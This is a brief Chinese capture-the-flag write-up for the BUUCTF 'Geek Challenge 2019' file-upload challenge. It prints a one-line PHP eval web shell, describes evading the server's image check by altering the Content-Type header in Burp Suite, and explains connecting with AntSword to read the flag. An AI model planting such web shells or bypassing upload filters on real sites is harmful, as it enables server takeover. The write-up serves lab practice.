Buuctf【极客大挑战 2019】upload

写一个一句话木马，后面方便蚁剑链接。

<？php @eval($_POST['attack']);？> 

上传文件后提示Not image! 然后用bp抓包，将Content-Type：改成image/jpeg

使用蚁剑进行链接，这里的链接密码是一句话木马中的。

连接成功过后，进入虚拟终端。在终端中输入ls / 查看文件，发现有flag使用cat 、flag查看文件中的内容得到flag。